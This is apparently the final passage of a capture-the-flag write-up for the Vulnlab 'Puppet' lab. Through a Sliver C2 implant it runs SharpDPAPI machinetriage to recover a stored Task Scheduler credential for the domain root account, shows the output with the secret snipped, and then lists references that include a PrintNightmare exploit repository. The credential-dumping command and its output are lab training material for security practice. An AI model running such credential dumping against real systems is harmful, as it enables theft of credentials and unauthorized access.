⠀⠀⠀⠀⠀⠀⣴⣿⣿⣿⡟⢁⣿⣿⣿⣿⣿⡏⢸⣿⣿⣿⣿⢟⡽⠋⠇⠀⠉⠒⠖⠊⠁⠀⠀⠊⡻⡟⣼⣿⣿⢳⣿⣿⣿⣿⣧⠀⠹⣿⣿⣿⡷⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣿⣿⣿⡏⠀⢸⣿⣿⣿⣿⣿⣷⢸⣿⣿⡫⠓⠻⠠⣂⠈⠄⠀⠀⠀⠀⢀⠔⠁⣰⣷⣼⣿⣿⣿⣚⠿⣿⣿⣿⣿⡄⠀⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣿⣿⣿⡇⠀⣾⣿⣿⣿⣿⡿⢯⣿⣿⠏⠀⠀⠂⢁⠋⠄⠀⠱⡄⠀⠐⠁⠀⡰⡋⢯⣿⣿⣿⡏⠉⠙⠚⢝⢿⣿⣿⣴⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣿⣿⣿⡇⣼⣿⣿⣿⡿⠋⠀⣼⣿⠏⠀⠀⠐⠀⠂⠀⠈⠀⠀⠈⠁⠀⠀⣼⠌⡀⠈⢼⣿⣿⣧⠀⠀⠀⠀⠀⠻⣿⢻⣿⣿⡏⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢹⣿⣿⡿⣿⣿⣿⡿⠁⠀⣰⣿⣯⠂⠀⠀⢆⠂⠀⡠⡀⠈⢄⠀⠀⡠⢀⠙⠐⡀⠁⠚⣿⣿⣿⡄⠀⢴⠀⠀⠀⢹⣾⣿⣟⣄⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣹⣿⣿⠁⠀⣰⣿⢯⡷⠀⠀⢠⠂⡠⠊⠀⠀⠁⠢⢳⠀⠀⠀⠀⡄⠈⢀⠀⡟⣿⣿⣷⡀⢸⠀⠀⠀⣾⣿⣿⣹⣿⣷⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣼⣿⣹⣿⣿⣇⣿⠁⢆⣼⣿⠏⣸⡄⠀⠀⠀⠊⠀⠀⠀⡀⠀⠄⠁⠀⠀⠀⠀⠀⠀⠀⡀⠃⠘⢿⣿⣷⣸⠀⠀⠀⣿⣿⣷⡻⣿⣿⣿⣦⡀⠀⠀⠀⠀
⠀⠀⢀⣴⣿⣿⢿⣷⣻⣿⣿⡇⣠⣾⣿⡟⠀⣿⠀⠀⠀⠇⡐⠂⠈⠀⡠⠀⠂⠀⠁⠈⠂⠀⠘⠀⢀⠀⠀⠀⢩⢿⣿⣿⡄⠀⠀⢻⣿⣿⢹⣜⢿⣿⣿⣿⣄⠀⠀⠀
⠀⣴⣿⣿⣿⠃⣾⣿⢣⣿⣿⢱⣿⣿⣿⠃⢰⡏⠀⠀⠀⠂⠀⠁⡠⠪⠈⠀⠠⠀⡀⠀⠀⠡⡀⡀⡀⠀⡀⠀⠀⢯⣻⣿⣿⣆⠀⠈⣿⣿⣇⢿⣯⣿⣿⣿⣿⣷⡄⠀
⢸⣿⣿⣿⠇⠀⢿⣿⣿⣿⢃⣿⣿⣿⣿⠄⢸⠁⠀⠀⢘⣀⣵⡊⠀⠀⠀⢀⡀⠀⠀⠁⠐⠀⠔⣵⣄⣀⣠⠀⠀⠈⣷⡹⣿⣿⡇⠌⠘⣿⣿⡼⣿⡇⠙⢿⣿⣿⣿⡆
⢸⠻⣿⣿⠀⢀⣼⣿⣿⠃⢸⡿⣿⣿⣿⠀⡜⠀⠀⠀⡄⠀⢀⣀⣀⣀⢁⣀⡸⣍⣁⣠⣃⡸⠉⠀⠀⢀⣘⠀⠀⠀⠸⡇⣿⣿⡏⠀⠀⢹⣿⣿⣿⣿⠀⠀⢹⣿⣿⡇
⠀⠀⠈⢻⣴⣿⣿⣿⠃⠀⠸⡇⣿⣿⣿⠀⠂⠀⠀⠀⠛⠛⣶⣶⣿⣿⣮⣿⣵⣾⠿⠿⠿⠷⠾⠿⠿⢷⣶⡄⠀⠀⠀⣿⣿⣿⠃⠀⠀⠈⠹⣿⣧⡻⠀⠀⢸⣿⣿⡇
⠀⣄⣴⣿⣿⡿⠋⠂⠀⠀⠀⣇⣿⣿⣿⡈⠀⠀⠀⢠⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⢸⣿⡇⠀⠀⠀⣟⣿⣿⠀⠀⠀⡇⠀⠹⣿⣿⣄⠀⢸⣿⣿⠀

The final flag is the password of the user "[email protected]".

To retrieve it, I used SharpDPAPI:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
sliver (puppet-mtls) > sharpdpapi machinetriage                   

[*] sharpdpapi output:

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.12.0

Folder : C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

CredFile : 39FAB9BA3A19E88594B1D50B5E44AAA4

guidMasterKey : {e2de4c34-3c46-411f-91cb-ab2c9cd2f205}
size : 592
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
description : Local Credential Data

LastWritten : 10/12/2024 1:44:00 AM
TargetName : Domain:batch=TaskScheduler:Task:{ACFD7F3B-51A4-4B11-8428-F287E956EC4C}
TargetAlias :
Comment :
UserName : PUPPET\root
Credential : VL{2<..SNIP..>31}

Reference:
https://vuln.dev/vulnlab-puppet/
https://toothless5143.medium.com/vl-chain-puppet-formal-write-up-eb1e63286bee
https://www.puppet.com/docs/puppet/5.5/types/exec.html
https://github.com/JohnHammond/CVE-2021-34527